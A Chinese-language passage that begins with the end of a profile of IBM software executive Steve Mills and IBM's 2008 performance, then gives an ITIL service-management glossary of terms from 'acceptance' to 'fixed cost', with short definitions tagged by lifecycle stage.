今天，无论在股票交易所、在娱乐现场、在超市、在码头、在机场、在企业和人们生活的每一个IT平台上，IBM软件正在释放着让一切都随需应变的力量。而Mills手中掌管的软件业务也成为IBM最大的利润源，和最稳定的增长来源。2008年前三个季度，IBM更成为经济衰退时科技产业的“光明”代言，2008年7~9月集团的纯利润上升了20%，远超分析师预期。
近来，更多与每一个人生活相关的生意开始被IBM看好。不久前，IBM公布了未来5年有望改变人类生活方式的五大科技变革，包括：太阳能应用将无处不在、DNA将让你提前预知身体的健康状况、语音技术将使上网冲浪更便利、数字个人购物助理将使shopping更惬意、智能工具将让遗忘成为历史。
“我们正在迈入全球一体化和智能的经济、社会和星球的时代。问题是，面对这一现实的我们需要做些什么？”IBM认为，人类面对的“真正的难题”是指大规模改善公共和社会体制，包括卫生保健、能源、教育，乃至交通堵塞问题。毫无疑问，他们一致认为电脑技术如IBM的产品，可以扮演一个重要角色。
Steve Mills简历
毕业于纽约斯克耐克塔迪联合学院。
1974年，他在纽约以销售实习生的身份进入IBM公司，在1980年之前一直担任营销代表。 自1995年以来，一直在IBM软件事业部的发展中扮演着重要的领导角色。作为IBM软件事业部战略与解决方案总经理，全面负责实施IBM在中间件和软件解决方案上的战略，并管理着商务智能解决方案、普适计算、电子商务解决方案及解决方案技术等业务部门。
于2000年起担任IBM高级副总裁兼软件事业部总经理至今。负责领导IBM软件产品的开发、市场推广、销售及支持等方面的工作。
验收
是表明 IT 服务、流程、计划或其它交付物完整、准确、可靠，并满足指定的需求。验收通常先经过评价或测试，它也是一个项目或流程进入下一阶段的必要条件。
参见服务验收标准。
访问管理
（服务运营）负责允许用户使用 IT 服务、数据或其它资产的流程。访问管理保证了授权用户才能访问或修改资产，从而有助于保护资产的保密性、完整性和可用性。访问管理有时被称为权限管理或身份管理。
客户经理
（服务战略）一个非常类似于业务关系经理的角色，但要承担更多的商务责任。通常用于处理与外部客户的关系。
核算
（服务战略）核定提供 IT 服务的实际成本，并与预算对比，管理预算变化的流程。
认可
获得正式授权，可执行某项角色任务。例如，认可的团体可以提供培训或进行审核。
主动监视
（服务运营）利用自动定期检查，监视配置项或 IT 服务, 获得其当前的状态。
参见”被动监视”。
活动
用于达到特定结果的一系列动作。活动通常被定义为流程或计划的一部分，并记录在程序中。
协定服务时间
（服务设计）服务时间的同义词，通常用于对可用性的正式计算。参见中断时间。
协议
描述双方或多方之间达成一致意见的正式文件。除非作为合同的一部分，协议不具有法律约束力。
参见“服务级别协议”、“运营级别协议”。
告警
（服务运营）已经达到阈值、某些状态已经改变或者发生了故障的警告。告警通常由系统管理工具发出和管理，受事件管理流程的控制。
术语
定义
分析建模
（服务战略）（服务设计）（持续服务改进）一种利用数学模型预测配置项或 IT 服务行为的技术。分析建模常用于容量管理和可用性管理。
参见“建模”。
应用
提供 IT 服务所需功能的软件。每个应用可以属于多项 IT 服务。它可以运行在一个或多个服务器或客户机上。
参见“应用管理”，“应用组合”。
应用管理
（服务设计）（服运营）负责管理应用整个生命周期的功能。
应用组合
（服务设计）用于管理应用整个生命周期的数据库或结构化文档。应用组合包含所有应用的关键属性。应用组合有时作为服务组合的一部分，或者配置管理系统的一部分实施。
应用服务提供商 (ASP)
（服务设计）在服务提供商许可的情况下,通过运行的应用提供 IT 服务的外部服务提供商。用户通过与服务提供商的网络连接访问应用。
应用需求估计
（服务设计）负责了解支持新应用或对现有应用进行重大变更所需的资源需求的活动。应用需求估计有助于确保 IT 服务能够达到针对容量和性能约定的服务级别目标。
架构
（服务设计）系统或 IT 服务的结构，包括组件彼此间和与其所处的环境间的关系。架构还包括指导系统的设计和进化的标准和指南。
配置集
（服务转换）由许多其它配置项组成的配置项。例如，服务器配置项可以包含 CPU、磁盘、内存等的配置项；IT 服务配置项可以包含硬件、软件和其它配置项。
参见“组件CI”，“构建”。
评估
检查并分析以确定是否遵守了标准或指南，记录是否准确，或者是否达到了效率和效能的目标。
参见“审核”。
术语
定义
资产
（服务战略）任何资源或能力。服务提供商的资产包括任何可以为提供服务做出贡献的东西。资产可以是下列任何一类东西：管理，组织，流程，知识，人员，信息，应用，基础设施和金融资本。
资产管理
（服务转换）资产管理是负责跟踪和报告金融资产在整个生命周期的价值和所有权的流程。资产管理是总体服务资产与配置管理流程的一部分。
参见“资产登记”。
资产登记
（服务转换）资产的清单，包括它们的所有权和价值。资产登记由资产管理来维护。
属性
（服务转换）关于配置项的一项信息。例如名称、地点、版本号和成本。配置项的属性记录在配置管理数据库 (CMDB) 中。
参见“关系”。
审核
确定是否遵守了标准或指南，记录是否准确，或者是否达到了效率和效能目标的正式检查及验证。审核可以由内部或外部的团体进行。
参见“认证”，“评估”。
授权矩阵
RACI 的同义词。
自动呼叫分配 (ACD)
（服务运营）利用信息技术以最短的时间将打进来的电话转给最合适的人员。ACD 有时称为自动电话分配。
可用性
（服务设计）配置项或 IT 服务在需要时执行约定功能的能力。可用性由可靠性，可维护性，可服务性，性能和安全性确定。可用性通常按百分比计算。该计算通常基于协定服务时间和中断时间。最佳实践是使用测量的 IT 服务的业务输出计算可用性。
可用性管理
（服务设计）负责定义、分析、规划、测量和改进 IT 服务可用性的所有方面的流程。可用性管理负责确保所有 IT 基础架构、流程、工具、角色等达到针对可用性约定的服务级别目标。
可用性管理信息系统 (AMIS)
（服务设计）所有可用性管理数据的虚拟仓库，通常保存在多个物理位置。
参见“服务知识管理系统”。
术语
定义
可用性计划
（服务设计）确保可以经济有效地提供 IT 服务的现有和未来可用性要求的计划。
回退
补救的同义词。
备份
（服务设计）（服务运营）复制数据以保护原数据的完整性或防止可用性受损失。
平衡记分卡
（持续服务改进）Robert Kaplan（哈佛商学院）和 David Norton 博士开发的管理工具。平衡记分卡能够将战略细分为关键性能指标。针对 KPI 的性能用于证明战略完成的情况。平衡记分卡有四个主要领域，每个都有一些 KPI。在整个组织内,可以以不同的详细程度考虑这四个领域。
基准
（服务持续改进）用作参考点的标杆。
例如：
• ITSM 基准可以用作起点测量服务改进计划的效果
• 性能基准可用于测量 IT 服务整个生命周期中性能的变化
• 配置管理基准可用于在变更或发布失败时，使 IT 基础架构能够恢复到已知的配置
标杆
（服务持续改进）某事在特定时间点记录的状态。可以为配置、流程或任何其它数据集创建基准。例如，标杆可用于：
• 持续服务改进，确定当前的状态以便管理改进。
• 容量管理，以便在正常运营时记录性能特性。
• 参见“标杆测试”，“基准”。
标杆测试
（持续服务改进）将标杆与基准或最佳实践比较。标杆测试这个术语也用于表示随时间而创建一系列的基准，比较结果以测量进度或改进。
最佳实践
已被多个组织成功使用的公认活动或流程。ITIL 是最佳实践的一个例子。
头脑风暴
（服务设计）帮助团队产生想法的一种技巧。头脑风暴期间不审查想法，而是在后来的阶段。头脑风暴通常被问题管理用于确定可能的原因。
术语
定义
英国标准协会 (BSI)
英国的国家标准机构，负责创建和维护英国标准。参见http://www.bsi-global.com 了解详细信息。
参见 ISO。
预算
组织或业务部门计划在指定时间内收到和付出的所有资金的清单。
参见“预算编制”，“规划”。
预算编制
预测和控制资金支出的活动。包括定期协商以确定未来的预算（通常是每年）和当前预算的日常监督和调整。
构建
（服务转换）组合许多配置项以创建 IT 服务的活动。“构建”这个术语也用于指已被授权发布的版本。例如服务器构建或便携机构建。
参见“配置基准”。
构建环境
（服务转换）一种受控的环境，应用、IT 服务和其它构建在此组合，然后移入测试或实时环境。
业务
（服务战略）由许多业务部门组成的总体公司实体或组织。在 ITSM 的背景中，业务这个术语包括公共部门、非营利组织和公司。IT 服务提供商在组织内向客户提供 IT 服务。IT 服务提供商可以与客户属于同一家组织（内部服务提供商），也可以属于另一项业务（外部服务提供商）。
业务容量管理 (BCM)
（服务设计）在 ITSM 的背景下，业务容量管理是负责了解为制定能力计划所需的未来业务需求的活动。
参见“服务容量管理”。
商业论证
（服务战略）为重大支出项目所作的论证。包括关于成本、效益、选项、问题、风险和潜在问题的信息。
参见“成本效益分析”。
业务连续性管理 (BCM)
（服务设计）负责管理可能严重影响业务的风险的业务流程。BCM 可以保护主要利害干系人的利益、声誉、品牌和价值创造活动。BCM 流程包括将风险降低到可接受的水平，及在业务发生中断时，设法恢复业务流程。BCM 为 IT 服务连续性管理设定了目标、范围和要求。
术语
定义
业务连续性计划 (BCP)
（服务设计）定义在业务中断后恢复业务流程所需步骤的计划。该计划还确定调用的触发、涉及的人员、沟通等。IT 服务连续性计划是业务连续性计划的重要部分。
商业客户
（服务战略）业务提供的产品或服务的接受者。例如，如果业务是汽车制造，那么商业客户就是买车的人。
业务影响分析 (BIA)
（服务战略）BIA 是业务连续性管理中的活动，它确定了关键业务功能和它们的依赖关系。这些依赖关系可以包括供应商、人员、其他业务流程、IT 服务等。
BIA 定义了 IT 服务的恢复要求。这些要求包括恢复时间目标、恢复点目标和每项 IT 服务的最低服务级别目标。
业务目标
（服务战略）某项业务流程的或业务总体的目标。业务目标支持业务愿景，为 IT 战略提供指导，并且通常得到 IT 服务的支持。
业务运营
（服务战略）业务流程的日常执行、监督和管理。
业务视角
（持续服务改进）从业务的观点了解服务提供商和 IT 服务，从服务提供商的角度对业务的理解。
业务流程
为业务所有和执行的流程。业务流程服务于为商业客户提供的产品或服务。例如，零售商可以有采购流程，以便为其商业客户提供服务。许多业务流程都依赖 IT 服务。
业务关系管理
（服务战略）负责维护与业务关系的流程或功能。
BRM 通常包括：
• 管理与业务经理的个人关系
• 为服务组合管理提供输入
• 确保 IT 服务提供商满足客户的业务需要
此流程与服务级别管理有很强的联系。
业务关系经理 (BRM)
（服务战略）负责维护与一个或多个客户关系的角色。该角色经常与服务级别经理的角色结合。
参见客户经理。
术语
定义
业务服务
直接支持业务流程的 IT 服务，与基础设施服务相反（被 IT 服务提供商在内部使用，对于业务通常不可见）。
业务服务这个术语还用于表示业务部门提供给商业客户的服务。例如，向银行的客户提供金融服务，或向零售店的客户提供货物。成功提供业务服务经常依靠一项或多项 IT 服务。
业务服务管理 (BSM)
（服务战略）（服务设计） IT 服务管理的方法，考虑其所支持的业务流程和所提供的业务价值。
该术语还意味着管理为业务客户提供的的业务服务。
业务部门
（服务战略）有自己的计划、指标、收入和成本的业务部门。每个业务部门都拥有资产，并利用它们以货物和服务的形式为客户创造价值。
呼叫
（服务运营）用户呼叫服务台的电话。呼叫可以导致故障或服务请求得到记录。
呼叫中心
（服务运营）处理大量呼入和呼出电话的组织或业务部门。
参见服务台。
呼叫类型
（服务运营）用于区分向服务台呼入的请求的类别。常见的呼叫类型有故障、服务请求和投诉。
能力
（服务战略）组织、人员、流程、应用、配置项或 IT 服务执行活动的才能。能力属于组织的无形资产。
参见资源。
能力成熟度模型 (CMM)
（持续服务改进）软件的能力成熟度模型（也称为 CMM 和 SW-CMM）是用于确定最佳实践的模型，有助于提高流程成熟度。CMM 是卡内基梅隆大学软件工程学院 (SEI) 开发的。2000 年，SW-CMM 升级为 CMMI®（能力成熟度模型集成）。SEI 不再维护 SW-CMM 的模型、相关的评估方法或培训资料。
术语
定义
能力成熟度模型集成 (CMMI)
（持续服务改进）能力成熟度模型® 集成 (CMMI) 是一种流程改进方法，是由卡内基梅隆大学软件工程学院 (SEI) 开发的。CMMI 为机构提供有效流程的基本元素。它可用于指导项目、部门或整个机构的流程改进。CMMI 有助于集成传统上分散的机构功能，设定改进的目标和优先级，提供质量流程的指导，为评估当前的流程提供参考点。参见 http://www.sei.cmu.edu/cmmi/ 了解详细信息。
参见 CMM，连续改进，成熟度。
容量
（服务设计）配置项或 IT 服务可以提供，同时达到约定的服务级别目标的最大吞吐量。对某些类型的配置项，容量可以是尺寸或体积，例如磁盘驱动器。
容量管理
（服务设计）负责确保 IT 服务和 IT 基础架构的容量能够以经济有效和及时的方式达到约定的服务级别目标的流程。容量管理考虑提供 IT 服务所需的所有资源，并计划短、中和长期的业务需求。
容量管理信息系统 (CMIS)
（服务设计）所有容量管理数据的虚拟仓库，通常保存在多个物理位置。
参见服务知识管理系统。
容量计划
（服务设计）容量计划用于管理提供 IT 服务所需的资源。该计划包含对不同情形的业务需求的预期，以及交付约定服务级别目标的成本选择。
容量规划
（服务设计）容量管理内负责创建容量计划的活动。
资本支出 (CAPEX)
（服务战略）将成为金融资产的某物的采购成本，例如计算机设备和建筑。资产的价值在多个核算期内折旧。
资本项目
（服务战略）因为高于约定的财务价值而与财务管理有关的资产。
资本化
（服务战略）即使没有采购资产，也把重大成本视为资本。这样做是为了将成本的影响分散到多个核算期。最常见的例子就是软件开发或购买软件许可。
术语
定义
类别
存在某些共性的一组指定事物。类别用于将类似的事物组合到一起。例如，成本类型用于集合相似类型的成本。故障类别用于集合相似类型的故障，CI类型用于集合相似类型的配置项。
认证
发布证书以确认遵从了标准。认证包括由独立和(认证)的团体进行的正式审核。认证一词还用于表示获得证书，以证明某人取得了某种资格。
变更
（服务转换）对任何可能影响 IT 服务的事情的增加、修改或删除。范围应该包括所有的 IT 服务、配置项、流程、文档等。
变更顾问委员会 (CAB)
（服务转换）为变更经理就变更的评估、优先顺序和时间表提供建议的一组人。该委员会通常由来自 IT 服务提供商、业务和第三方（例如供应商）内部各领域的代表组成。
变更案例
（服务运营）一种用于预测建议变更的影响的技术。变更案例使用具体的预期场景以明确建议变更的范围，帮助进行成本效益分析。
参见使用实例。
变更历史
（服务转换）关于配置项在整个生命周期所做全部变更的信息。变更历史包括适用于配置项的所有那些变更记录。
变更管理
（服务转换）负责控制所有变更生命周期的流程。变更管理的主要目标是能够进行有利的变更，同时尽量减少 IT 服务的中断。
变更模型
（服务转换）处理特定类别的变更的可重复方法。变更模型定义了类别变更遵守的预定义的具体步骤。变更模型可以非常简单，不需要批准（例如，密码重置），也可以非常复杂，有许多需要批准的步骤（例如，重大的软件发布）。
参见标准变更，变更顾问委员。
变更记录
（服务转换）包含变更详情的记录。每个变更记录都记录了一个变更的生命周期。系统为每个收到的变更请求创建变更记录，甚至那些随后被拒绝的变更。变更记录应该参考受变更影响的配置项。变更记录保存在配置管理系统中。
变更请求
RFC 的同义词。
术语
定义
变更日程
（服务转换）列出所有批准的变更和它们计划实施日期的文档。变更安排有时称为变更进度表，它还包含已经实施的变更的有关信息。
变更窗口
（服务转换）约定的、周期性的时间，在此期间实施变更或发布对服务的影响最小。变更时间窗口通常记录在服务级别协议中。
收费
（服务战略）需要为 IT 服务付费。对 IT 服务收费是可选的，许多组织选择将 IT 服务提供商视为成本中心。
时序分析
（服务运营）一种用于帮助确定问题的可能原因的方法。收集的所有关于问题的可用数据按日期和时间排序，以便提供详细的时间线。这样可以确定哪些事件可能是由其它事件引发的。
CI类型
（服务转换）用于为配置项分类的类别。配置项类型确定配置记录所需的属性和关系。常见的配置项类型包括：硬件、文档、用户等
分类
为某事分配类别的行为。分类用于确保管理和报告的连续一致。配置项、故障、问题、变更等通常进行分类。
客户(Client)
表示客户、业务或商业客户的通称。
例如，Client Manager 可以用作 Account Manager 的同义词。
Client 这个词用于表示：
•用户直接使用的计算机，例如微机、手持电脑或工作站。
•客户服务器应用中用户直接面对的那部分。例如邮件客户。
已结束
（服务运营）故障、问题、变更等生命周期中的最终状态。状态是已结束时，不再采取进一步的行动。
关闭
（服务运营）将故障、问题、变更等的状态变为已结束的行为。
COBIT
（持续服务改进）信息及相关技术控制目标 (COBIT) 为 IT 流程的管理提供指导和最佳实践。COBIT 由 IT 治理学会发布。参见 http://www.isaca.org/ 了解详细信息。
行为准则
公共团体或标准组织（例如 ISO 或 BSI）发布的指南。许多标准由行为准则和详细说明组成。《行为准则》描述了推荐的最佳实践。
冷备用
逐步恢复的同义词。
商用现货 (COTS)
（服务设计）可从第三方购买的应用软件或中间件。
遵从
确保遵守标准或指南，或采用正确一致的核算或其它方法。
组件
用于表示比较复杂事物的一部分的通称。例如，计算机系统可以是 IT 服务的组件，应用可以是发布单元的组件。需要管理的组件应该是配置项。
组件容量管理 (CCM)
（服务设计）（持续服务改进）负责了解配置项的能力、利用率和性能的流程。收集、记录和分析的数据用于容量计划。
参见服务容量管理。
组件CI
（服务转换）属于配置集一部分的配置项。例如，CPU 或内存配置项可以是服务器配置项的一部分。
组件故障影响分析 (CFIA)
（服务设计）一种帮助确定配置项失效对 IT 服务影响的方法。为此创建的表格一边是 IT 服务，另一边是配置项。它能够确定关键的配置项（可能导致多项 IT 服务失效）和脆弱的 IT 服务（有多个单点故障）。
计算机电话集成 (CTI)
（服务运营）CTI 是一个通称，含盖了计算机与电话系统间任何类型的集成。它最常用于指通过应用程序来显示与呼入或呼出电话详细信息的系统。
参见自动呼叫分配，交互式语音应答。
并发
同时参与同一运营中的用户数量的测量。
保密性
（服务设计）要求数据只应被授权的人员访问的安全性原则。
配置
（服务转换）一种通称，用于描述一组配置项，它们共同提供 IT 服务，或可识别的部分 IT 服务。配置也用于描述一个或多个配置项的参数设置。
配置基准
（服务转换）已经正式约定并由变更管理流程进行管理的配置的基准。配置基准用作未来构建、发布和变更的基础。
配置控制
（服务转换）负责确保增加、修改或删除配置项得到适当管理的活动,例如通过提交变更请求或服务请求。
配置识别
（服务转换）负责收集关于配置项及其关系的信息，并将此信息载入 CMDB 的活动。配置识别还负责标记配置项本身，以便可以找到对应的配置记录。
配置项 (CI)
（服务转换）为提供 IT 服务而需要进行管理的任何组件。每个配置项的有关信息记入配置管理系统内的配置记录，并由配置管理在信息的整个生命周期内维护。配置项受变更管理的控制。配置项通常包括 IT 服务、软硬件、建筑、人员和正式文档，例如流程文档和服务级别协议。
配置管理
（服务转换）负责维护提供 IT 服务所需配置项（包括它们的关系）有关信息的流程。此信息在配置项的整个生命周期得到管理。配置管理是总体服务资产与配置管理流程的一部分。
配置管理数据库 (CMDB)
（服务转换）用于在整个生命周期保存配置记录的数据库。配置管理系统维护一个或多个CMDB，而每个CMDB保存配置项的属性和与其它配置项的关系。
配置管理系统 (CMS)
（服务转换）一套工具和数据库，用于管理 IT 服务提供商的配置数据。CMS 还包括关于事件、问题、已知错误、变更和发布的信息；并且可以包含关于雇员、供应商、地点、业务部门、客户和用户的信息。CMS 包括收集、保存、管理、更新和显示所有配置项及其关系相关数据的工具。CMS 由配置管理维护，为所有 IT 服务管理流程所用。
参见配置管理数据库，服务知识管理系统。
配置记录
（服务转换）包含配置项详细信息的记录。每个配置记录记录了一个配置项的生命周期。配置记录保存在配置管理数据库中。
配置结构
（服务转换）构成配置的所有配置项间的等级和其它关系。
持续服务改进 (CSI)
（持续服务改进）IT 服务生命周期的一个阶段，核心 ITIL 出版物之一的名称。
持续服务改进负责管理对 IT 服务管理流程和 IT 服务的改进。IT 服务提供商的性能得到不断测量，并对流程、IT 服务和 IT 基础架构进行改进，以便提高效率、效能和成本效益。
参见计划-执行-检查-行动。
连续可用性
（服务设计）实现 100% 可用性的一种方法或设计。连续可用的 IT 服务没有计划内或计划外的中断时间。
连续运营
（服务设计）一种消除 IT 服务的计划内中断时间的方法或设计。注意：即使个别配置项可以停止，IT 服务还是可用的。
合同
双方或多方之间有法律约束力的协议。
合同组合
（服务战略）用于管理 IT 服务提供商与客户间服务合同或协议的数据库或结构化文档。为客户提供的每项 IT 服务都应该有合同组合中列出的合同或其它协议。
参见服务组合，服务目录。
控制
一种管理风险，确保实现业务目标或遵守流程的方法。控制的例子包括政策、程序、角色、RAID、门锁等。控制有时称为对策或安全措施。
控制还意味着管理配置项、系统或 IT 服务的使用或行为。
信息及相关技术控制目标 (COBIT)
参见 COBIT。
控制方法
（服务战略）一种管理 IT 服务、流程、功能、资产等的方法。对同一个 IT 服务、流程等可以有多种不同的控制方法，允许不同的个人或团队关注他们具体角色的重要性和相关性。控制方法的例子包括 IT 运营中的被动和主动管理，以及对应用项目团队的生命周期管理的观点。
控制流程
ISO/IEC 20000 流程组，包括变更管理和配置管理。
核心服务
（服务战略）提供满足一个或多个客户期望的基本结果的 IT 服务。
参见支持服务、核心服务包。
核心服务包 (CSP)
（服务战略）核心服务的详细描述,可以被两个或多个服务级别包共享。
参见服务包。
成本
花在具体活动、IT 服务或业务部门上的费用。成本包括实际费用（钱）、名义成本（例如人员的时间）和折旧。
成本效益分析
分析比较一个或多个可选行动过程涉及的成本和效益的活动。
参见商业论证，净现值，内部回报率，投资回报，投资价值。
成本中心
（服务战略）分配成本的业务部门或项目。成本中心不对所提供的服务收费。IT 服务提供商可以作为成本中心或利润中心运行。
成本效益
服务、流程或活动的效益与成本间平衡的测量，成本效益流程就是以最小的成本达到目标的流程。
参见 KPI，投资回报，物有所值。
成本要素
（服务战略）预算编制和核算中分配的成本的中级类别。最高级的类别是成本类型。例如“人员”的成本类型可以有工资、福利、开支、培训、加班费等成本要素。成本要素可以进一步分为成本单位。例如，成本要素“开支”可以包括酒店、交通、餐饮等的成本单位。
成本管理
（服务战略）用于对预算和核算的通称，有时用作财务管理的同义词
成本类型
（服务战略）预算编制和核算中分配的成本的最高级类别。例如软硬件、人员、住宿、外部和转移。
参见成本要素，成本类型。
成本单位
（服务战略）分配成本时最低级的类别，成本单位通常是容易计算（例如人员数量、软件许可）或测量的事物（例如 CPU 的使用、耗电）。成本单位包含在成本要素中。例如，“开支”的成本要素可以包括酒店、交通、餐饮等的成本单位。
参见成本类型。
对策
可用于指代任何类型的控制。对策一词最常用于指能够提高 IT 服务的恢复力、容错性或可靠性的措施。
修正措施
对已开始的计划或活动进行的变更，目的是确保它能达到目标。修正措施是根据监督进度的结果进行的。
CRAMM
分析和管理风险的方法和工具。CRAMM 由英国政府开发，但是现在被私人所有。进一步的信息可以访问 http://www.cramm.com/
危机管理
负责管理更广泛含意的业务连续性的流程。危机管理团队负责战略问题，例如管理媒体关系和股东的信心，并决定何时调用业务连续性计划。
关键成功因素 (CSF)
如果流程、项目、计划 或 IT 服务要成功，必须发生的某事。KPI 用于测量每个 CSF 的成绩。例如，“进行变更时保护 IT 服务”的 CSF 可以用“不成功变更的百分比下降”、“变更引起的故障比例下降”等这样的 KPI 来测量。
文化
一群人共享的一组价值观，包括对人员的行为、想法、信仰和实践方式的期望。
参见愿景。
客户(Customer)
购买商品或服务的人。IT 服务提供商的客户是定义和达成服务级别目标的人员或团体。客户一词有时还用于表示用户，例如“这是一家关注客户的组织”。
客户组合
（服务战略）用于记录 IT 服务提供商所有客户的数据库或结构化文档。客户组合是业务关系经理了解接受 IT 服务提供商服务的客户的视图。
参见合同组合，服务组合。
仪表板
（服务运营）总体 IT 服务性能和可用性的图形表示。仪表板的显示可以实时更新，也可以包含在管理报告和网页中。仪表板可用于支持服务级别管理，事件管理或故障诊断。
数据到信息到知识到智慧 (DIKW)
一种理解数据、信息、知识和智慧之间关系的方法。DIKW 显示了它们彼此的依赖方式。
最终介质库 (DML)
（服务转换）所有软件配置项的最终和批准版本安全保存的一个或多个地点。DML 还可以包含相关的配置项，例如许可和文档。即使存在多个地点，DML 也是一个逻辑存储区。 DML 中所有的软件都受变更和发布管理的控制，同时记入配置管理系统。只有来自 DML 的软件才可用于发布。
交付物
必须提供才能履行服务级别协议或合同承诺的某物。在不太正式的场合，可交付物也用于表示任何流程的计划输出。
需求管理
了解和影响客户对服务的需求以及提供相应容量以满足这些需求的活动。在战略级别，需求管理可以包括业务活动方式和用户资料的分析。在战术级别，它可以包括使用差别收费鼓励客户在不太繁忙的时段使用 IT 服务。
参见容量管理。
戴明循环
计划-执行-检查-行动的同义词。
依赖性
一个流程或活动对另一流程或活动直接或间接的依赖。
部署
（服务转换）负责将新的或变更的软硬件、文档、流程等迁移到实时环境的活动。部署是发布和部署管理流程的一部分。
参见实施计划。
折旧
（服务战略）资产的价值随寿命减少的计算。它基于磨损、消耗或其它有用经济价值的减少。
设计
（服务设计）识别需求然后定义能够满足这些需求的解决方案的活动或流程。
参见服务设计。
检测
（服务运营）故障生命周期中的一个阶段。检测使服务提供商能够了解故障。检测可以是自动的，也可以是用户记录故障的结果。
开发
（服务设计）负责创建或修改 IT 服务或应用的流程。还用于表示执行开发工作的角色或小组。
开发环境
（服务设计）用于创建或修改 IT 服务或应用的环境。开发环境通常不受与测试环境或实时环境同一级别的控制。
参见开发。
诊断
（服务运营）故障和问题生命周期中的一个阶段。诊断的目的是确定故障的规避措施或问题的根本原因。
诊断脚本
（服务运营）服务台人员使用的一套结构化问题，以确保他们询问正确的问题，帮助他们分类、解决和分配故障。诊断脚本还可以帮助用户诊断和解决自己的故障。
差别收费
通过对相同的 IT 服务功能在不同的时间收取不同的成本以支持需求管理的一种方法。
直接成本
（服务战略）提供 IT 服务的成本，可以全部分配给具体的客户、成本中心、项目等。例如，提供非共享服务器或软件许可的成本。
参见间接成本。
目录服务
（服务运营）管理网络上可用 IT 基础架构和相应用户访问权限有关信息的应用。
无需恢复
（服务设计）一种恢复选项。服务提供商与客户正式同意：无需进行此 IT 服务的恢复。
文档
可读形式的信息。文档可以是纸质或电子形式。例如政策声明，服务级别协议，故障记录，计算机房布局图。
参见记录。
中断时间
（服务设计）（服务运营）在约定服务时间内，配置项或 IT 服务不可用的时间。IT 服务的可用性经常通过约定服务时间和中断时间计算。
驱动力
影响战略、目标或需求的某事。例如新的法规或竞争者的行动。
早期支持
（服务转换）在发布后，为新的或变更的 IT 服务提供的一段时间的支持。在早期支持阶段，IT 服务提供商可以审查 KPI、服务级别和监视阈值，并为故障和问题管理提供额外的资源。
规模经济
（服务战略）从提高 IT 服务或资产的使用可以使平均成本降低。
参见范围经济。
范围经济
（服务战略）通过将现有的资产用于其它目的，减少分配给 IT 服务的成本。例如用现有的 IT 基础架构提供新的 IT 服务。
参见规模经济。
效能
（持续服务改进）测量是否已实现流程、服务或活动的目标的尺度。有效的流程或活动应该达到约定的目标。
参见 KPI。
效率
（持续服务改进）测量是否已将正确数量的资源用于提供流程、服务或活动的尺度。有效的流程应该用最少量的时间、金钱、人员或其它资源实现其目标。
参见 KPI。
紧急变更
（服务转换）必须尽快引入的变更。例如为了解决主要事故或实施安全补丁。变更管理流程通常会有特定的程序来处理紧急的变更。
参见紧急变更顾问委员会 (ECAB)。
紧急变更顾问委员会 (ECAB)
（服务转换）变更顾问委员会的一部分，负责具有重大影响的紧急变更决策。ECAB 的成员可以在召集会议时确定，并取决于紧急变更的性质。
环境
（服务转换）IT 基础架构的一部分，用于特定的目的。例如：实时环境，测试环境，构建环境。多个环境可以共享配置项，例如测试和实时环境可以使用一台大型机上的不同分区。还用作物理环境一词，表示食宿、空调、电力系统等。
环境还用作一种通称，表示影响某物的外部条件。
错误
（服务运营）设计的缺陷或故障，导致一个或多个配置项，或者 IT 服务失败。人为造成的错误或影响配置项或 IT 服务的有缺陷流程也是错误。
升级
（服务运营）在需要时获得额外资源，以达到服务级别目标或客户期望的活动。任何 IT 服务管理流程内部都可以需要升级，但是升级常常与故障管理、问题管理和客户投诉的管理有关联。有两种类型的升级：功能性升级和管理性升级。
针对客户的电子外包能力模型 (eSCM-CL)
（服务战略）一个帮助机构指导他们对服务采购模型和战略进行分析和决策的框架。eSCM-CL 由卡内基梅隆大学开发。
参见 eSCM-SP。
针对服务提供商的电子外包能力模型 (eSCM-SP)
（服务战略）一个帮助 IT服务提供商从服务采购的角度发展他们的 IT 服务管理能力的框架。eSCM-SP 由卡内基梅隆大学开发。
参见 eSCM-CL。
估算
利用经验得出指标或成本的近似值。估算还用于容量和可用性管理，作为最廉价和最低精确度的建模方法。
评价
（服务转换）负责评估新的或变更的 IT 服务的流程，确保风险已得到管理，并有助于确定是否继续进行变更。
评价还用于表示实际结果与预期结果的比较，或者各种选择的比较。
事件
（服务运营）对配置项或 IT 服务的管理有重大意义的状态变化。
事件一词还用于表示任何 IT 服务、配置项或监视工具产生的告警或通知。事件通常需要 IT 运营人员采取行动，并且经常导致故障记入日志。
事件管理
（服务运营）负责在整个生命周期内管理事件的流程。事件管理是 IT 运营的主要活动之一。
异常报告
一种文档，包含已经超过定义阈值的一个或多个 KPI 或者其它重要目标的详细信息。例如未达到或将达不到的服务级别协议，以及显示潜在容量问题的性能指标。
扩展的故障生命周期
（可用性管理）故障的生命周期中详细的阶段。这些阶段是检测，诊断，维修，恢复，复原。扩展的故障生命周期用于帮助理解造成故障影响的所有因素，并计划如何控制或减少它们。
外部客户
与 IT 服务提供商有不同的业务工作的客户。
参见外部服务提供商，内部客户。
外部指标
用于测量为客户提供的 IT 服务的尺度。外部指标通常在服务级别协议中定义，并向客户报告。
参见内部指标。
外部服务提供商
（服务战略）与客户分属不同组织的 IT 服务提供商。IT 服务提供商可以同时拥有内部客户和外部客户。
参见三类服务提供商。
外部采购
外包的同义词。
设施管理
（服务运营）负责管理 IT 基础架构所在物理环境的功能。设施管理包括管理物理环境的所有方面，例如电力和散热、建筑访问管理和环境监视。
失效
（服务运营）失去按规范运行或提供所需输出的能力。当指代 IT 服务、流程、活动、配置项等时，可以使用失效这个词。失效经常导致故障。
故障模式和影响分析 (FMEA)
评估失效的潜在影响的一种方法。FMEA 包括分析每个配置项失效后会发生什么，直到对业务的影响。FMEA 经常用于信息安全管理和 IT 服务连续性规划。
快速恢复
（服务设计）一种恢复选项，也称为热备用。在短时间内恢复 IT 服务，通常少于 24 小时。快速恢复通常使用专用的固定设施和计算机系统，和配置好的软件，以运行 IT 服务。如果需要从备份恢复数据，立即恢复需要最长 24 小时。
过错
错误的同义词。
容错
（服务设计）某组件发生故障后，IT 服务或配置项继续正确运行的能力。
参见恢复力，对策。
故障树分析（FTA）
（服务设计）（持续服务改进）可用于确定导致问题的一系列事件的方法。故障树分析在图中使用布尔符号表示一系列的事件。
财务管理
（服务战略）负责管理 IT 服务提供商的预算、核算和收费需求的功能和流程。
一线支持
（服务运营）在参与故障解决的分层的支持组中的第一级。每一层包含更多的专业技能或者有更多的时间或其它资源。
参见升级。
鱼骨图
Ishikawa 图表的同义词。
适用
用于描述能够达到目的或服务级别的流程、配置项、IT 服务等的非正式术语。达到目的需要合适的设计、实施、控制和维护。
固定成本
